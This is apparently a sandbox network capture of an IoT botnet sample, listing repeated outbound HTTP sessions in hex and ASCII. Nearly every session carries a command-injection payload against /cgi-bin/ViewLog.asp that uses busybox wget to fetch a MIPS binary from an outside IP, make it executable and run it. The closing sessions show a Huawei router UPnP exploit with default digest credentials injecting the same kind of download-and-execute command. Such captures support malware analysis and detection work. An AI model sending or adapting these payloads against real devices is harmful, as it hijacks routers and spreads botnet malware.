                                                Date: Thu, 23 Nov 2023 04:20:18 GMT
                                                Content-Type: text/html
                                                Content-Length: 169
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                112192.168.2.155607485.119.82.1828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.674086094 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                113192.168.2.153304095.181.232.1318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.681309938 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                114192.168.2.153862262.35.97.818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.683943033 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                115192.168.2.154561262.29.120.2078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.722099066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                116192.168.2.153474894.121.176.738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.725184917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                117192.168.2.154739694.122.93.1568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.729795933 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                118192.168.2.153297094.110.213.1058080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.913021088 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                119192.168.2.154273494.121.139.1818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:21.940813065 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                120192.168.2.153819462.150.195.668080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:22.109765053 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:22.373691082 CET163INHTTP/1.1 302 Found
                                                Location: https://192.168.0.14:443/cgi-bin/ViewLog.asp
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                121192.168.2.153583094.182.207.1988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:22.141005993 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                122192.168.2.155928862.192.143.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:24.671895981 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:24.869532108 CET189INHTTP/1.1 404 Not Found
                                                server: owsd
                                                content-type: text/html
                                                content-length: 38
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><body><h1>404</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                123192.168.2.154060094.122.198.408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:24.699608088 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                124192.168.2.155989494.120.165.608080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:24.702903986 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                125192.168.2.154420031.200.108.2518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:24.703778028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                126192.168.2.155116485.105.105.1308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:24.706772089 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                127192.168.2.155148862.182.86.2158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:24.922609091 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                128192.168.2.155032294.121.125.1148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.103648901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                129192.168.2.154053695.86.106.488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.109704971 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                130192.168.2.153978231.0.161.828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.110795975 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                131192.168.2.155522694.187.100.2408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.720040083 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                132192.168.2.1541126156.235.102.12437215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.762672901 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:30.012351036 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
